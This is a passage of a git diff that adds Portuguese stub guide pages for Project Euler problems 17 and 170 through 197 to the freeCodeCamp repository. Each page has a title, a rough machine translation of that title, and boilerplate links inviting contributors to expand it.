index 0000000000..2c2b6037c5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Number letter counts
+localeTitle: Número de cartas
+---
+## Problema 17: Contagem de números
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-17-number-letter-counts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
new file mode 100644
index 0000000000..7b2cd415df
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the largest 0 to 9 pandigital that can be formed by concatenating products
+localeTitle: Encontre o maior 0 a 9 pandigital que pode ser formado pela concatenação de produtos
+---
+## Problema 170: Encontre o maior 0 a 9 pandigital que pode ser formado pela concatenação de produtos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-170-find-the-largest-0-to-9-pandigital-that-can-be-formed-by-concatenating-products/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
new file mode 100644
index 0000000000..01d1bae02b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Finding numbers for which the sum of the squares of the digits is a square
+localeTitle: Encontrar números para os quais a soma dos quadrados dos dígitos é um quadrado
+---
+## Problema 171: Encontrar números para os quais a soma dos quadrados dos dígitos é um quadrado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-171-finding-numbers-for-which-the-sum-of-the-squares-of-the-digits-is-a-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
new file mode 100644
index 0000000000..d62ab21535
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating numbers with few repeated digits
+localeTitle: Investigando números com poucos dígitos repetidos
+---
+## Problema 172: Investigando números com poucos dígitos repetidos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-172-investigating-numbers-with-few-repeated-digits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
new file mode 100644
index 0000000000..7de201e537
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md
@@ -0,0 +1,9 @@
+---
+title: Using up to one million tiles how many different "hollow" square laminae can be formed?
+localeTitle: Usando até um milhão de telhas quantas lâminas quadradas "vazias" diferentes podem ser formadas?
+---
+## Problema 173: Usando até um milhão de peças quantas lâminas quadradas "vazias" podem ser formadas?
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-173-using-up-to-one-million-tiles-how-many-different-hollow-square-laminae-can-be-formed/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
new file mode 100644
index 0000000000..976e2eccb7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-...-distinct-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting the number of "hollow" square laminae that can form one, two, three, ... distinct arrangements
+localeTitle: Contando o número de lâminas quadradas "vazias" que podem formar um, dois, três ... arranjos distintos
+---
+## Problema 174: Contando o número de lâminas quadradas "vazias" que podem formar um, dois, três, ... arranjos distintos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-174-counting-the-number-of-hollow-square-laminae-that-can-form-one-two-three-…-distinct-arrangements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
new file mode 100644
index 0000000000..ff1e777bf8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractions involving the number of different ways a number can be expressed as a sum of powers of 2
+localeTitle: Frações que envolvem o número de maneiras diferentes em que um número pode ser expresso como uma soma de potências de 2
+---
+## Problema 175: Frações envolvendo o número de maneiras diferentes em que um número pode ser expresso como uma soma de potências de 2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-175-fractions-involving-the-number-of-different-ways-a-number-can-be-expressed-as-a-sum-of-powers-of-2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
new file mode 100644
index 0000000000..ad7c2250a3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md
@@ -0,0 +1,9 @@
+---
+title: Right-angled triangles that share a cathetus
+localeTitle: Triângulos retângulos que compartilham um cateto
+---
+## Problema 176: Triângulos retos que compartilham um cateto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-176-right-angled-triangles-that-share-a-cathetus/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
new file mode 100644
index 0000000000..0af9ca4a49
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer angled Quadrilaterals
+localeTitle: Quadriláteros Angulares Inteiros
+---
+## Problema 177: Quadriláteros Angulares Inteiros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-177-integer-angled-quadrilaterals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
new file mode 100644
index 0000000000..7e06602b2c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Step Numbers
+localeTitle: Números de Passo
+---
+## Problema 178: Números de Passo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-178-step-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
new file mode 100644
index 0000000000..e988ad750e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive positive divisors
+localeTitle: Divisores positivos consecutivos
+---
+## Problema 179: Divisores positivos consecutivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-179-consecutive-positive-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
new file mode 100644
index 0000000000..eeb3324485
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum I
+localeTitle: Soma do caminho máximo I
+---
+## Problema 18: soma do caminho máximo I
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-18-maximum-path-sum-i/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
new file mode 100644
index 0000000000..11db69e13c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md
@@ -0,0 +1,9 @@
+---
+title: Rational zeros of a function of three variables
+localeTitle: Zeros Racionais de uma Função de Três Variáveis
+---
+## Problema 180: Zeros Racionais de uma Função de Três Variáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-180-rational-zeros-of-a-function-of-three-variables/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
new file mode 100644
index 0000000000..683ce1bbfd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating in how many ways objects of two different colours can be grouped
+localeTitle: Investigando em quantas maneiras objetos de duas cores diferentes podem ser agrupados
+---
+## Problema 181: Investigando em quantas maneiras objetos de duas cores diferentes podem ser agrupados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-181-investigating-in-how-many-ways-objects-of-two-different-colours-can-be-grouped/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
new file mode 100644
index 0000000000..6d5661bb2c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
@@ -0,0 +1,9 @@
+---
+title: RSA encryption
+localeTitle: Criptografia RSA
+---
+## Problema 182: Criptografia RSA
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
new file mode 100644
index 0000000000..e82a6e2983
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum product of parts
+localeTitle: Produto máximo de peças
+---
+## Problema 183: Produto Máximo de Peças
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
new file mode 100644
index 0000000000..e45cbdde20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles containing the origin
+localeTitle: Triângulos contendo a origem
+---
+## Problema 184: Triângulos contendo a origem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
new file mode 100644
index 0000000000..a5f42ec33e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Mind
+localeTitle: Mente Numérica
+---
+## Problema 185: Mente Numérica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
new file mode 100644
index 0000000000..7fcd55427d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
@@ -0,0 +1,9 @@
+---
+title: Connectedness of a network
+localeTitle: Conectividade de uma rede
+---
+## Problema 186: Conectividade de uma rede
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
new file mode 100644
index 0000000000..f6a9d181a4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Semiprimes
+localeTitle: número semiprimo
+---
+## Problema 187: Semiprimes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
new file mode 100644
index 0000000000..f41469f5c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
@@ -0,0 +1,9 @@
+---
+title: The hyperexponentiation of a number
+localeTitle: A hiperexponenciação de um número
+---
+## Problema 188: A hiperexponenciação de um número
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
new file mode 100644
index 0000000000..6c19f0c5ca
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Tri-colouring a triangular grid
+localeTitle: Tri-coloração de uma grade triangular
+---
+## Problema 189: Tri-coloração de uma grade triangular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
new file mode 100644
index 0000000000..9a0d3cabbe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Sundays
+localeTitle: Contando aos domingos
+---
+## Problema 19: contando os domingos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
new file mode 100644
index 0000000000..fdfc1e6f3a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximising a weighted product
+localeTitle: Maximizar um produto ponderado
+---
+## Problema 190: Maximizando um Produto Ponderado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
new file mode 100644
index 0000000000..0427b933f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Prize Strings
+localeTitle: Cordas do Prêmio
+---
+## Problema 191: cordas do prêmio
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
new file mode 100644
index 0000000000..3c22bbdfc3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
@@ -0,0 +1,9 @@
+---
+title: Best Approximations
+localeTitle: Melhores Aproximações
+---
+## Problema 192: Melhores Aproximações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
new file mode 100644
index 0000000000..97e81e140a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Numbers
+localeTitle: Números Squarefree
+---
+## Problema 193: números Squarefree
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
new file mode 100644
index 0000000000..73857fa877
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
@@ -0,0 +1,9 @@
+---
+title: Coloured Configurations
+localeTitle: Configurações coloridas
+---
+## Problema 194: Configurações Coloridas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
new file mode 100644
index 0000000000..33dae89141
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
@@ -0,0 +1,9 @@
+---
+title: Inscribed circles of triangles with one angle of 60 degrees
+localeTitle: Círculos inscritos de triângulos com um ângulo de 60 graus
+---
+## Problema 195: Círculos inscritos de triângulos com um ângulo de 60 graus
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
new file mode 100644
index 0000000000..a96c70b942
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime triplets
+localeTitle: Trigêmeos Prime
+---
+## Problema 196: Primeiros Trigêmeos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
new file mode 100644
index 0000000000..395eec0af9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the behaviour of a recursively defined sequence
+localeTitle: Investigando o comportamento de uma sequência definida recursivamente
+---
+## Problema 197: Investigando o comportamento de uma sequência definida recursivamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
new file mode 100644
index 0000000000..2ddb2998be
--- /dev/null
